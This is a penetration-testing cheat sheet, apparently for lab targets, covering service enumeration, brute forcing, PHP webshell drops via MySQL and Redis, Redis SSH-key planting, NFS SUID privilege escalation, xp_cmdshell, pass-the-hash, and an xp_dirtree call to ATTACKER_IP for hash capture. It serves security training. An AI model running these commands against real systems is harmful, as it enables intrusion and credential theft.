Search result: 'Apache 2.4.49 - Path Traversal & RCE (CVE-2021-41773)'
Exploit-DB: https://www.exploit-db.com/exploits/50383
SearchSploit
Check for public exploits — Local exploit database
searchsploit apache 2.4.49
Example Output
Apache 2.4.49 - Path Traversal | exploits/multiple/webapps/50383.sh
vsftpd 2.3.4 - Backdoor | exploits/unix/remote/49757.py
Check exploit-db.com
More detail than searchsploit — Proof of concepts available
Browse exploit-db for service version
Example Output
https://www.exploit-db.com/exploits/50383
Apache 2.4.49 - Path Traversal
Verified: Yes | Author: n/a
Type: webapps | Platform: Multiple
(Download exploit, read the code first)
Check CVE databases
Official CVE details — Severity scores, affected versions
Google: site:nvd.nist.gov <service> <version>
Example Output
NVD: CVE-2021-41773
CVSS Score: 7.5 (HIGH)
Affected: Apache 2.4.49
Vector: Network/Low/None
(Confirms severity and affected versions)
Check GitHub for PoCs
Often more reliable than exploit-db — Working PoCs with instructions
Search: "<CVE-XXXX-XXXX> exploit github"
Example Output
github.com search: CVE-2021-41773
Result: 47 repositories
Top: nuclei-templates/cves/2021/CVE-2021-41773.yaml
(Working PoC with usage instructions)
🔌 Port Enumeration
Service-by-service enumeration techniques. Work through each open port methodically.
- FTP (21)
- SSH (22)
- DNS (53)
- SMTP (25/465/587)
- POP3 (110/995) / IMAP (143/993)
- SMB (139/445)
- SNMP (161 UDP)
- LDAP (389/636)
- NFS (2049)
- RPC (111/135)
- MySQL (3306)
- MSSQL (1433)
- RDP (3389)
- WinRM (5985/5986)
- Redis (6379)
FTP (21)
Anonymous login
Try blank password and email@email.com — Misconfigured FTP servers
ftp $IP
Username: anonymous
Password: (blank)
Example Output
230 Login successful.
ftp> ls
-rw-r--r-- 1 0 0 1024 Jan 01 config.txt
-rw-r--r-- 1 0 0 512 Jan 01 backup.zip
List all files including hidden
Check every directory — Hidden files with creds
ls -la
cd ..
ls -la
Example Output
drwxr-xr-x 2 0 0 4096 Jan 01 .
drwxr-xr-x 3 0 0 4096 Jan 01 ..
-rw-r--r-- 1 0 0 220 Jan 01 .bash_history
-rw-r--r-- 1 0 0 1679 Jan 01 .id_rsa
Download everything
Recursive download — Grab all files for offline review
wget -r ftp://anonymous@$IP/
Example Output
wget -r ftp://anonymous@10.10.10.5/
Downloaded: 12 files, 45K
./10.10.10.5/backup.zip
./10.10.10.5/.hidden/credentials.txt
(Check every file offline)
Check for write access
Can you upload? webshell potential — Upload to web root = RCE
put test.txt
Example Output
ftp> put test.txt
226 Transfer complete.
(SUCCESS = you can upload webshells)
Brute force creds
If anonymous fails — Default/weak creds
hydra -L users.txt -P passwords.txt ftp://$IP
Example Output
hydra -L users.txt -P passwords.txt ftp://10.10.10.5
[21][ftp] host: 10.10.10.5 login: admin password: admin123
(FOUND VALID CREDENTIALS)
Check FTP version for exploits
Version from nmap output — vsftpd 2.3.4 backdoor, ProFTPD exploits
searchsploit vsftpd
searchsploit proftpd
Example Output
searchsploit vsftpd
vsftpd 2.3.4 - Backdoor Command Execution
(If version matches = instant shell)
SSH (22)
Banner grab / version check
Note exact version — Old versions have vulns
nc -nv $IP 22
Example Output
SSH-2.0-OpenSSH_7.2p2 Ubuntu-4ubuntu2.8
(Old version = check CVE-2018-15473 user enum)
Try default creds
admin:admin, root:root, root:toor — Always try the obvious
ssh admin@$IP
ssh root@$IP
Example Output
ssh admin@10.10.10.5
Password: admin
Welcome to Ubuntu 18.04.3 LTS
$ whoami
admin
Common combos to try:
admin:admin, root:root, root:toor
user:user, admin:password, root:password
Brute force with found users
Only if you have a username — Weak passwords
hydra -l <user> -P /usr/share/wordlists/rockyou.txt ssh://$IP
Example Output
crackmapexec smb 10.10.10.5 -u users.txt -p passwords.txt
SMB [+] corp.local\john:Password1
(Valid domain credentials found)
Check for user enumeration
OpenSSH < 7.7 CVE-2018-15473 — Confirm valid usernames
searchsploit openssh
Example Output
OpenSSH 7.2p2 - Username Enumeration
$ python3 45233.py -u root 10.10.10.5
[+] root is a valid username
Try found creds from other services
Password reuse is common — Always cross-reference creds
ssh <user>@$IP
Example Output
Found admin:admin123 on FTP
ssh admin@10.10.10.5 password: admin123
Welcome to Ubuntu
(PASSWORD REUSE - same creds worked on SSH)
SSH with private key
If you find a key file — Check FTP, SMB, web for keys
chmod 600 id_rsa
ssh -i id_rsa <user>@$IP
Example Output
chmod 600 id_rsa
ssh -i id_rsa admin@10.10.10.5
Welcome to Ubuntu 18.04
admin@target:~$ whoami
admin
DNS (53)
Zone transfer
If you know the domain — Reveals all subdomains/hosts
dig axfr @$IP <domain>
host -l <domain> $IP
Example Output
dig axfr @10.10.10.5 domain.htb
domain.htb. IN SOA ns1.domain.htb.
admin.domain.htb. IN A 10.10.10.10
dev.domain.htb. IN A 10.10.10.11
staging.domain.htb IN A 10.10.10.12
Reverse lookup
Find domain name — Need domain for web enum
dig -x $IP @$IP
Example Output
dig -x 10.10.10.5 @10.10.10.5
;; ANSWER SECTION:
5.10.10.10.in-addr.arpa. IN PTR target.corp.local.
(Found hostname: target.corp.local)
Subdomain brute force
Find hidden subdomains — Virtual hosts, dev sites
gobuster dns -d <domain> -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt -r $IP:53
Example Output
gobuster dns -d corp.local -w subdomains.txt -r 10.10.10.5:53
Found: dev.corp.local
Found: mail.corp.local
Found: vpn.corp.local
Any records
All DNS records — TXT records may have info
dig any @$IP <domain>
Example Output
dig any @10.10.10.5 corp.local
corp.local. IN A 10.10.10.5
corp.local. IN MX mail.corp.local
corp.local. IN TXT "v=spf1 include:_spf.google.com"
Add to /etc/hosts
Required for web virtual hosts — Web apps may need hostname
echo '$IP <domain>' >> /etc/hosts
Example Output
echo '10.10.10.5 target.htb dev.target.htb' >> /etc/hosts
Now: http://target.htb shows different content
than http://10.10.10.5
(Virtual hosting = different sites on same IP)
SMTP (25/465/587)
User enumeration (VRFY)
Verify valid usernames — Build username list for other services
smtp-user-enum -M VRFY -U users.txt -t $IP
Example Output
smtp-user-enum -M VRFY -U users.txt -t 10.10.10.5
250 2.1.5 admin
250 2.1.5 john
550 5.1.1 <fakeuser>: Recipient not found
User enumeration (RCPT TO)
Alternative method — If VRFY is disabled
smtp-user-enum -M RCPT -U users.txt -t $IP
Example Output
smtp-user-enum -M RCPT -U users.txt -t 10.10.10.5
10.10.10.5: admin exists
10.10.10.5: john exists
10.10.10.5: postmaster exists
User enumeration (EXPN)
Expand mailing lists — May reveal users
smtp-user-enum -M EXPN -U users.txt -t $IP
Example Output
smtp-user-enum -M EXPN -U users.txt -t 10.10.10.5
10.10.10.5: admin <admin@corp.local>
10.10.10.5: all-staff <john@corp.local, jane@corp.local>
Nmap SMTP scripts
All SMTP nmap scripts — Enum, open relay, vulns
nmap --script smtp-* -p 25 $IP
Example Output
nmap --script smtp-* -p 25 10.10.10.5
|_smtp-open-relay: Server is an open relay
| smtp-enum-users:
| root, admin, postmaster
(OPEN RELAY = can send emails as anyone)
Send test email
Test for open relay — Can send phishing emails
swaks --to user@domain --from test@test.com --server $IP
Example Output
swaks --to admin@corp.local --from ceo@corp.local --server 10.10.10.5 --body 'Test'
=== Connected to 10.10.10.5
<- 250 2.0.0 Ok: queued
(Open relay confirmed - phishing possible)
POP3 (110/995) / IMAP (143/993)
Banner grab
Version info — Check for exploits
nc -nv $IP 110
nc -nv $IP 143
Example Output
telnet 10.10.10.5 110
+OK Dovecot POP3 ready <1234.abc@target>
telnet 10.10.10.5 143
* OK [CAPABILITY IMAP4rev1] Dovecot IMAP ready
(Check version: Dovecot 2.2.x has known auth bypass CVEs)
Login with found creds
Try creds from other services — Read emails for more creds
telnet $IP 110
USER <user>
PASS <pass>
Example Output
telnet 10.10.10.5 110
+OK POP3 server ready
USER admin
+OK
PASS admin123
+OK Logged in.
LIST
1 1024
2 2048
(2 emails to read)
List and read emails
After POP3 login — Emails often contain passwords
LIST
RETR 1
RETR 2
Example Output
RETR 1
From: sysadmin@corp.local
Subject: New server credentials
Hi, the new server password is: Summer2024!
Please change it ASAP.
(CREDENTIALS IN EMAIL)
Brute force
If you have a username — Weak mail passwords
hydra -l <user> -P passwords.txt $IP pop3
Example Output
hydra -l admin -P rockyou.txt 10.10.10.5 pop3
[110][pop3] login: admin password: welcome1
hydra -l admin -P rockyou.txt 10.10.10.5 imap
[143][imap] login: admin password: welcome1
(Now read their emails for creds/info)
SMB (139/445)
Null session enum
Comprehensive SMB enum — Users, shares, policies, groups
enum4linux -a $IP
Example Output
enum4linux -a 10.10.10.5
[+] Users:
administrator, guest, krbtgt, john.smith
[+] Shares:
IPC$, ADMIN$, C$, Backups, Users
List shares (null)
Anonymous share listing — Find accessible shares
smbclient -L //$IP -N
Example Output
smbclient -L //10.10.10.5 -N
Sharename Type Comment
-------- ---- -------
Backups Disk Company backups
Users Disk User directories
ADMIN$ Disk Remote Admin
List shares (crackmapexec)
Alternative enum — Shows read/write permissions
crackmapexec smb $IP --shares -u '' -p ''
Example Output
crackmapexec smb 10.10.10.5 --shares -u '' -p ''
Share Permissions Remark
Backups READ Company backups
Users READ,WRITE User files
ADMIN$ NO ACCESS
(READ,WRITE on Users = upload potential)
Connect to shares
Browse each share — Download interesting files
smbclient //$IP/<share> -N
Example Output
smbclient //10.10.10.5/Backups -N
smb: \> ls
. D 0 Jan 01 2024
old_config.bak A 1024 Jan 01 2024
passwords.xlsx A 2048 Jan 01 2024
smb: \> get passwords.xlsx
Recursive download share
Grab everything — Offline analysis
smbget -R smb://$IP/<share>/
Example Output
smbget -R smb://10.10.10.5/Backups/
Downloaded 15 files
./Backups/IT/credentials.txt
./Backups/HR/employee_list.csv
(Analyze everything offline)
Enumerate users (RID cycling)
Find domain users — Build user list
crackmapexec smb $IP --rid-brute
Example Output
crackmapexec smb 10.10.10.5 --rid-brute
500: CORP\Administrator
501: CORP\Guest
1001: CORP\john.smith
1002: CORP\svc_sql
1003: CORP\admin.backup
Check for EternalBlue
MS17-010 — Instant SYSTEM shell if vuln
nmap --script smb-vuln-ms17-010 -p 445 $IP
Example Output
| smb-vuln-ms17-010:
| VULNERABLE:
| Risk factor: HIGH
(Use exploit/windows/smb/ms17_010_eternalblue)
Check SMB version/signing
Version and signing status — SMBv1 = more exploits, no signing = relay
crackmapexec smb $IP
Example Output
crackmapexec smb 10.10.10.5
SMB 10.10.10.5 445 TARGET [*] Windows 10.0 Build 17763 x64
SMB 10.10.10.5 445 TARGET [*] SMBv1: False
SMB 10.10.10.5 445 TARGET [*] Signing: False
(No signing = relay attacks possible)
Brute force with found users
Spray found creds — Password reuse across services
crackmapexec smb $IP -u users.txt -p passwords.txt
Example Output
crackmapexec smb 10.10.10.5 -u users.txt -p passwords.txt --continue-on-success
SMB [-] corp\admin:Password1
SMB [-] corp\admin:Welcome1
SMB [+] corp\john.smith:Winter2025
(--continue-on-success finds ALL valid combos)
Check for write access
Can you upload files? — Upload to web root or share
smbclient //$IP/<share>
put test.txt
Example Output
smbmap -H 10.10.10.5 -u john -p Password1
Disk Permissions Comment
---- ----------- -------
Backups READ ONLY
Users READ, WRITE <- can upload!
wwwroot READ, WRITE <- webshell target!
(WRITE on wwwroot = upload PHP shell)
SNMP (161 UDP)
Community string brute
Find valid community strings — public/private are defaults
onesixtyone -c /usr/share/seclists/Discovery/SNMP/common-snmp-community-strings-onesixtyone.txt $IP
Example Output
onesixtyone 10.10.10.5 -c community.txt
10.10.10.5 [public] Linux server 5.4.0
10.10.10.5 [private] Linux server 5.4.0
(FOUND: public and private strings)
Full SNMP walk
Dump all SNMP data — Users, processes, software, interfaces
snmpwalk -v2c -c public $IP
Example Output
SNMPv2-MIB::sysDescr.0 = Linux webserver 5.4.0
HOST-RESOURCES::hrSWRunName.1 = apache2
HOST-RESOURCES::hrSWRunName.2 = mysqld
HOST-RESOURCES::hrSWRunParameters.786 = -u admin -p S3cr3tP@ss
Enum users
Windows user accounts — Username list
snmpwalk -v2c -c public $IP 1.3.6.1.4.1.77.1.2.25
Example Output
snmpwalk -v2c -c public 10.10.10.5 1.3.6.1.4.1.77.1.2.25
USER: administrator
USER: john
USER: backup_svc
Enum running processes
Running software — Find vulnerable services
snmpwalk -v2c -c public $IP 1.3.6.1.2.1.25.4.2.1.2
Example Output
snmpwalk -v2c -c public 10.10.10.5 hrSWRunName
apache2
mysqld
tomcat8
sshd
(Tomcat running = check 8080, look for manager)
Enum installed software
Installed packages — Version info for exploits
snmpwalk -v2c -c public $IP 1.3.6.1.2.1.25.6.3.1.2
Example Output
snmpwalk -v2c -c public 10.10.10.5 hrSWInstalledName
apache2 2.4.29
mysql-server 5.7.29
wordpress 5.8
(Version numbers for exploit search)
Enum TCP connections
Open TCP ports (internal view) — May reveal ports not in nmap
snmpwalk -v2c -c public $IP 1.3.6.1.2.1.6.13.1.3
Example Output
snmpwalk -v2c -c public 10.10.10.5 tcpConnLocalPort
22, 80, 3306, 8080, 8443
(Port 8080 and 8443 not in nmap = filtered or internal only)
snmp-check tool
Formatted SNMP enum — Cleaner output than snmpwalk
snmp-check $IP -c public
Example Output
snmp-check 10.10.10.5 -c public
[*] System information:
Hostname: webserver
OS: Linux 5.4.0
[*] User accounts:
admin, www-data, mysql
[*] Processes:
apache2, mysqld, cron
LDAP (389/636)
Anonymous bind enum
Find base DN — Starting point for LDAP enum
ldapsearch -x -H ldap://$IP -b '' -s base namingContexts
Example Output
ldapsearch -x -H ldap://10.10.10.5
namingContexts: DC=corp,DC=local
(SUCCESS = anonymous LDAP access)
Dump all objects
Full LDAP dump — Users, groups, computers, OUs
ldapsearch -x -H ldap://$IP -b 'DC=domain,DC=local'
Example Output
ldapsearch -x -H ldap://10.10.10.5 -b 'DC=corp,DC=local'
dn: CN=John Smith,OU=Users,DC=corp,DC=local
sAMAccountName: john.smith
description: Temp password: Welcome1
(PASSWORD IN DESCRIPTION FIELD)
Enum users
All AD users — Build user list
ldapsearch -x -H ldap://$IP -b 'DC=domain,DC=local' '(objectClass=user)' sAMAccountName
Example Output
ldapsearch -x -H ldap://10.10.10.5 -b 'DC=corp,DC=local' '(objectClass=person)' sAMAccountName
dn: CN=John Smith,OU=Users,DC=corp,DC=local
sAMAccountName: john.smith
dn: CN=SVC SQL,OU=Service Accounts,DC=corp,DC=local
sAMAccountName: svc_sql
(Full user list from LDAP)
Nmap LDAP scripts
Automated LDAP enum — Quick overview
nmap --script ldap-* -p 389 $IP
Example Output
nmap --script ldap-* -p 389 10.10.10.5
| ldap-rootdse:
| namingContexts: DC=corp,DC=local
| domainFunctionality: 7 (2016)
|_ forestFunctionality: 7
Check for password in description
Users with passwords in desc field — Lazy admins store creds here
ldapsearch -x -H ldap://$IP -b 'DC=domain,DC=local' '(objectClass=user)' sAMAccountName description
Example Output
ldapsearch -x -H ldap://10.10.10.5 -b 'DC=corp,DC=local' '(description=*pass*)'
dn: CN=svc_backup,OU=Service,DC=corp,DC=local
description: Password is Backup2024!
(CLEARTEXT PASSWORD IN LDAP)
NFS (2049)
Show exports
List NFS shares — Find mountable shares
showmount -e $IP
Example Output
showmount -e 10.10.10.5
/home/backup *(rw,no_root_squash)
/var/www *(ro)
(no_root_squash = privesc possible)
Mount share
Mount and browse — Full file access
mkdir /tmp/nfs
mount -t nfs $IP:/<share> /tmp/nfs
Example Output
mkdir /tmp/nfs
mount -t nfs 10.10.10.5:/home/backup /tmp/nfs
ls /tmp/nfs/
.ssh/ documents/ notes.txt
(Full access to user's home directory)
Check for SSH keys
Private keys — Instant SSH access
ls -la /tmp/nfs/home/*/.ssh/
Example Output
find / -name id_rsa 2>/dev/null
/home/admin/.ssh/id_rsa
cat /home/admin/.ssh/id_rsa
-----BEGIN RSA PRIVATE KEY-----
MIIEpAIBAAKCAQEA...
(Copy to attacker, chmod 600, ssh -i)
Check for sensitive files
Config files, backups — Passwords in config files
find /tmp/nfs -name '*.conf' -o -name '*.txt' -o -name '*.bak'
Example Output
find /tmp/nfs -name '*.conf' -o -name '*.txt'
/tmp/nfs/notes.txt: 'DB password: MySQLr00t!'
/tmp/nfs/.ssh/id_rsa: -----BEGIN RSA PRIVATE KEY-----
Check permissions / no_root_squash
Privesc via NFS — Write SUID shell, execute on target
If no_root_squash: create SUID binary on share
Example Output
cat /etc/exports shows: no_root_squash
On attacker as root:
cp /bin/bash /tmp/nfs/rootbash
chmod +s /tmp/nfs/rootbash
On target:
/home/backup/rootbash -p
# whoami
root
RPC (111/135)
Enum RPC services
List registered RPC services — Find NFS, mountd, etc
rpcinfo -p $IP
Example Output
rpcinfo -p 10.10.10.5
program vers proto port
100000 4 tcp 111 portmapper
100003 3 tcp 2049 nfs
100005 3 tcp 34567 mountd
(NFS available! Check showmount)
rpcclient null session
Anonymous RPC connection — Enum users, groups, shares
rpcclient -U '' -N $IP
Example Output
rpcclient -U '' -N 10.10.10.5
rpcclient $> enumdomusers
user:[Administrator] rid:[0x1f4]
user:[Guest] rid:[0x1f5]
user:[svc_backup] rid:[0x451]
Enum domain users (rpcclient)
After connecting — Full user list
rpcclient $> enumdomusers
Example Output
rpcclient $> enumdomusers
user:[Administrator] rid:[0x1f4]
user:[john.smith] rid:[0x451]
user:[svc_sql] rid:[0x452]
user:[admin.backup] rid:[0x453]
Enum domain groups
Group membership — Find admin groups
rpcclient $> enumdomgroups
Example Output
rpcclient $> enumdomgroups
group:[Domain Admins] rid:[0x200]
group:[Domain Users] rid:[0x201]
group:[IT-Support] rid:[0x450]
rpcclient $> querygroupmem 0x200
rid:[0x1f4] (Administrator)
rid:[0x451] (john.smith is DA!)
User info
Detailed user info — Account details
rpcclient $> queryuser <rid>
Example Output
rpcclient $> queryuser 0x451
User Name: john.smith
Full Name: John Smith
Description: IT Admin
Logon Time: Mon, 24 Feb 2026
MySQL (3306)
Try default creds
root with no password is common — Default installations
mysql -h $IP -u root -p
(try blank, root, toor)
Example Output
mysql -h 10.10.10.5 -u root
Welcome to the MySQL monitor.
mysql> SHOW DATABASES;
+--------------------+
| Database |
| information_schema |
| wordpress |
| users |
Nmap MySQL scripts
Enum, brute, audit — Quick overview
nmap --script mysql-* -p 3306 $IP
Example Output
nmap --script mysql-* -p 3306 10.10.10.5
| mysql-info:
| Version: 5.7.29
| Salt: abc123
| mysql-enum:
| Valid usernames: root, admin
| Accounts with empty password: root
Enum databases
After login — Find credential tables
SHOW DATABASES;
USE <db>;
SHOW TABLES;
Example Output
mysql> SHOW DATABASES;
+--------------------+
| information_schema |
| mysql |
| webapp |
| secret |
mysql> USE webapp;
mysql> SHOW TABLES;
| users | posts | config |
Dump users/hashes
MySQL user hashes — Crack or pass-the-hash
SELECT user,password FROM mysql.user;
Example Output
SELECT user,authentication_string FROM mysql.user;
+------+-------------------------------------------+
| root | *6BB4837EB74329105EE4568DDA7DC67ED2CA2AD9 |
| admin| *2470C0C06DEE42FD1618BB99005ADCA2EC9D1E19 |
(Crack with hashcat -m 300 or john)
Read files (if FILE priv)
Read system files — LFI via database
SELECT LOAD_FILE('/etc/passwd');
Example Output
SELECT LOAD_FILE('/etc/passwd');
root:x:0:0:root:/root:/bin/bash
www-data:x:33:33:...
admin:x:1000:1000:Admin User:/home/admin:/bin/bash
Write files (if FILE priv)
Write webshell — RCE if web root is writable
SELECT '<?php system($_GET["cmd"]); ?>' INTO OUTFILE '/var/www/html/shell.php';
Example Output
mysql> SELECT '<?php system($_GET["cmd"]); ?>' INTO OUTFILE '/var/www/html/shell.php';
Query OK, 1 row affected
(Browse to http://10.10.10.5/shell.php?cmd=whoami)
Check UDF for RCE
User Defined Functions — UDF can execute system commands
SELECT * FROM mysql.func;
Example Output
SELECT * FROM mysql.func;
+------+---+----------+----------+
| name | ret| dl | type |
| sys_exec | 0 | lib_mysqludf.so | function |
(UDF already installed = direct command exec)
SELECT sys_exec('whoami');
MSSQL (1433)
Try default creds
sa with blank/weak password — Default SA account
impacket-mssqlclient sa:password@$IP
Example Output
impacket-mssqlclient sa:sa@10.10.10.5
[*] Encryption required
[*] ENVCHANGE(DATABASE): Old: master, New: master
SQL> SELECT @@version;
Microsoft SQL Server 2019
Common: sa:sa, sa:password, sa:sa123
Nmap MSSQL scripts
Info, brute, xp_cmdshell — Quick overview
nmap --script ms-sql-* -p 1433 $IP
Example Output
nmap --script ms-sql-* -p 1433 10.10.10.5
| ms-sql-info:
| Version: 14.0.1000.169 (SQL Server 2017)
| Instance: MSSQLSERVER
| ms-sql-brute:
| sa:sa = Success
Enable xp_cmdshell
After login as sa — Enables OS command execution
EXEC sp_configure 'xp_cmdshell', 1;
RECONFIGURE;
Example Output
1> EXEC sp_configure 'show advanced options', 1;
2> RECONFIGURE;
3> EXEC sp_configure 'xp_cmdshell', 1;
4> RECONFIGURE;
5> EXEC xp_cmdshell 'whoami';
nt authority\system
Execute commands
Run system commands — RCE via database
EXEC xp_cmdshell 'whoami';
Example Output
EXEC xp_cmdshell 'whoami';
nt authority\system
EXEC xp_cmdshell 'type C:\Users\Administrator\Desktop\flag.txt';
flag{sql_rce_ftw}
(Full command execution as SYSTEM)
Enum databases
List all databases — Find interesting data
SELECT name FROM master.sys.databases;
Example Output
SQL> SELECT name FROM sys.databases;
master
tempdb
model
msdb
webapp
HRDatabase
SQL> USE HRDatabase;
SQL> SELECT name FROM sysobjects WHERE xtype='U';
employees
credentials
salaries
Linked servers
Pivot to other servers — Lateral movement via DB links
SELECT * FROM openquery("linkedserver", 'SELECT 1');
Example Output
SELECT * FROM sys.servers;
srv_name: DBPROD01
srv_name: HRDB
EXEC ('xp_cmdshell ''whoami''') AT [DBPROD01];
corp\dbadmin
(Lateral movement through linked SQL servers)
Capture hash (responder)
Trigger SMB auth to your machine — Capture NTLMv2 hash
EXEC xp_dirtree '\\ATTACKER_IP\share';
Example Output
On attacker: responder -I tun0
On MSSQL: EXEC xp_dirtree '\\10.10.14.2\share';
Responder captures:
[SMB] NTLMv2 Hash: sa::CORP:abc123...
(Crack with hashcat -m 5600)
RDP (3389)
Check if accessible
RDP enum scripts — Version, encryption, NLA
nmap --script rdp-* -p 3389 $IP
Example Output
nmap --script rdp-* -p 3389 10.10.10.5
| rdp-ntlm-info:
| Target: TARGET
| DNS: target.corp.local
| OS: Windows Server 2019
| NLA: Enabled
BlueKeep check
CVE-2019-0708 — Pre-auth RCE if unpatched
nmap --script rdp-vuln-ms12-020 -p 3389 $IP
Example Output
| rdp-vuln-ms12-020:
| VULNERABLE:
| CVE:CVE-2019-0708
(Pre-auth RCE, use with caution - may BSOD)
Brute force
With known usernames — Weak passwords
hydra -l <user> -P passwords.txt rdp://$IP
Example Output
hydra -l administrator -P passwords.txt rdp://10.10.10.5
[3389][rdp] host: 10.10.10.5 login: administrator password: Winter2025!
OR: crowbar -b rdp -s 10.10.10.5/32 -u admin -C passwords.txt
(crowbar is more reliable for RDP brute force)
Connect with found creds
Or rdesktop — Full GUI access
xfreerdp /u:<user> /p:<pass> /v:$IP
Example Output
xfreerdp /u:admin /p:Password123 /v:10.10.10.5
[INFO] Connected to 10.10.10.5:3389
(Full GUI desktop access)
Pass the hash
If you have NTLM hash — No password needed
xfreerdp /u:<user> /pth:<hash> /v:$IP
Example Output
crackmapexec smb 10.10.10.20 -u administrator -H aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0
SMB 10.10.10.20 445 WEB01 [+] CORP\administrator:... (Pwn3d!)
(Admin access with just the hash)
WinRM (5985/5986)
Check access with found creds
Pwn3d! = shell access — Remote management
crackmapexec winrm $IP -u <user> -p <pass>
Example Output
crackmapexec winrm 10.10.10.5 -u john -p Password123
WINRM 10.10.10.5 5985 DC01 [+] corp.local\john:Password123 (Pwn3d!)
(Pwn3d! = you can get a shell)
Get shell
Interactive PowerShell — Full shell access
evil-winrm -i $IP -u <user> -p <pass>
Example Output
evil-winrm -i 10.10.10.5 -u john -p Password123
*Evil-WinRM* PS C:\Users\john\Documents> whoami
corp\john
(Interactive PowerShell session)
Pass the hash
With NTLM hash — No password needed
evil-winrm -i $IP -u <user> -H <ntlm_hash>
Example Output
evil-winrm -i 10.10.10.5 -u administrator -H '31d6cfe0d16ae931b73c59d7e0c089c0'
*Evil-WinRM* PS C:\Users\Administrator>
(evil-winrm supports PTH natively with -H flag)
(No password needed, just the NT hash)
Redis (6379)
Connect (no auth)
Try without password — Default: no authentication
redis-cli -h $IP
Example Output
redis-cli -h 10.10.10.5
10.10.10.5:6379> INFO server
redis_version:5.0.7
10.10.10.5:6379> KEYS *
1) "session:admin"
2) "credentials"
Dump all keys
After connecting — Stored credentials, session data
KEYS *
GET <key>
Example Output
KEYS *
1) "session:admin:token"
2) "user:admin:password"
3) "config:db_pass"
GET user:admin:password
"SuperSecret123!"
(Credentials stored in Redis)
Server info
Version, memory, clients — Check version for exploits
INFO
Example Output
INFO
redis_version:5.0.7
os:Linux 5.4.0-42-generic x86_64
connected_clients:2
(Check version for CVEs, 5.x has several RCEs)
Write SSH key
Write your SSH key to server — Root SSH access
redis-cli -h $IP
CONFIG SET dir /root/.ssh/
CONFIG SET dbfilename authorized_keys
SET payload '<ssh-rsa key>'
SAVE
Example Output
CONFIG SET dir /root/.ssh/
CONFIG SET dbfilename authorized_keys
SET payload 'ssh-rsa AAAA...your_key...'
SAVE
ssh root@10.10.10.5
root@target:~# whoami
root
(Root SSH access via Redis write)
Write webshell
If web server present — RCE via webshell
CONFIG SET dir /var/www/html/
CONFIG SET dbfilename shell.php
SET payload '<?php system($_GET["cmd"]); ?>'
SAVE
Example Output
CONFIG SET dir /var/www/html/
CONFIG SET dbfilename shell.php
SET payload '<?php system($_GET["cmd"]); ?>'
SAVE
curl http://10.10.10.5/shell.php?cmd=whoami
www-data
(RCE via Redis webshell write)
🌐 Web Enumeration
Web application reconnaissance and content discovery.
INITIAL WEB RECON
Browse manually in browser
Look at the site. Read it. Click around. — Context before tools
http://$IP
https://$IP
http://$IP:8080
Example Output
See a login page, CMS, or custom app
Check footer: 'Powered by WordPress 5.8'
Check URLs: /index.php?page=about (LFI candidate)
Check page source (Ctrl+U)
Comments, hidden fields, JS files, API endpoints — Devs leave secrets in comments
View source on every page
Example Output
<!-- TODO: remove debug credentials -->
<!-- admin:Passw0rd123 -->
<script src='/api/v1/config.js'></script>
<input type='hidden' name='debug' value='true'>
Check robots.txt
Disallowed paths — Paths they don't want indexed
curl http://$IP/robots.txt
Example Output
User-agent: *
Disallow: /admin/
Disallow: /backup/
Disallow: /internal/
Disallow: /wp-admin/
(Now you know hidden paths exist)
Check sitemap.xml
Site structure — Hidden pages and directories
curl http://$IP/sitemap.xml
Example Output
curl http://10.10.10.5/sitemap.xml
<urlset>
<url><loc>/internal-dashboard/</loc></url>
<url><loc>/api/v2/users/</loc></url>
<url><loc>/old-admin/</loc></url>
</urlset>
(Hidden paths revealed)
Check security.txt
Security contact info — May reveal tech stack
curl http://$IP/.well-known/security.txt
Example Output
curl http://10.10.10.5/.well-known/security.txt
Contact: security@corp.local
Preferred-Languages: en
Canonical: https://corp.local/.well-known/security.txt
(Confirms domain, may reveal email format)
Identify technology stack
CMS, framework, language, server — Guides your attack approach
whatweb http://$IP
wappalyzer (browser extension)
Example Output
whatweb http://10.10.10.5
http://10.10.10.5 [200 OK]
Apache[2.4.29], PHP[7.2.10],
WordPress[5.8], jQuery[3.6.0],
Country[US]
Check HTTP headers
Server, X-Powered-By, cookies — Version info, security headers
curl -I http://$IP
Example Output
HTTP/1.1 200 OK
Server: Apache/2.4.29 (Ubuntu)
X-Powered-By: PHP/7.2.10
Set-Cookie: PHPSESSID=abc123
(Versions exposed = search for CVEs)
Check SSL/TLS cert
Certificate details — Hostnames, org info, valid dates
openssl s_client -connect $IP:443
Example Output
openssl s_client -connect 10.10.10.5:443
subject=CN = dev.corp.local
subjectAltName = DNS:dev.corp.local, DNS:staging.corp.local
(Found additional hostnames to add to /etc/hosts)
Add hostname to /etc/hosts
If you discover a hostname — Virtual host routing
echo '$IP hostname.htb' >> /etc/hosts
Example Output
echo '10.10.10.5 target.htb dev.target.htb' >> /etc/hosts
curl http://target.htb -> 'Welcome to Our App'
curl http://10.10.10.5 -> 'Apache Default Page'
(Different content = virtual hosting confirmed)
Screenshot all web ports
Visual record — Quick reference for reporting
gowitness single http://$IP
Example Output
gowitness single http://10.10.10.5
gowitness single https://10.10.10.5
gowitness single http://10.10.10.5:8080
(Visual screenshots saved for reference and reporting)
DIRECTORY / FILE DISCOVERY
Gobuster directory scan
Main directory brute force — Find hidden directories
gobuster dir -u http://$IP -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -o gobuster.txt
Example Output
=======================================
/admin (Status: 301)
/uploads (Status: 301)
/backup (Status: 301)
/config (Status: 403)
/phpmyadmin (Status: 200)
/api (Status: 200)
Gobuster with extensions
Find files with extensions — php/txt/bak files are gold
gobuster dir -u http://$IP -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,txt,html,bak,old,conf,zip -o gobuster_ext.txt
Example Output
/config.php.bak (Status: 200) <- backup config!
/notes.txt (Status: 200) <- dev notes
/shell.php (Status: 200) <- existing shell?
/database.sql (Status: 200) <- DB dump
Feroxbuster (recursive)
Recursive scanning — Finds nested directories
feroxbuster -u http://$IP -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt
Example Output
feroxbuster -u http://10.10.10.5
200 GET /admin/
200 GET /admin/config/
200 GET /admin/config/database.yml <- nested find!
301 GET /backup/
200 GET /backup/site_2024.zip
Scan discovered directories
Enumerate inside each dir found — Go deeper
gobuster dir -u http://$IP/<found_dir> -w <wordlist> -x php,txt
Example Output
gobuster dir -u http://10.10.10.5/admin -w wordlist.txt -x php
/admin/login.php (Status: 200)
/admin/config.php (Status: 200)
/admin/uploads/ (Status: 301)
/admin/backup.php (Status: 200)
Virtual host / subdomain scan
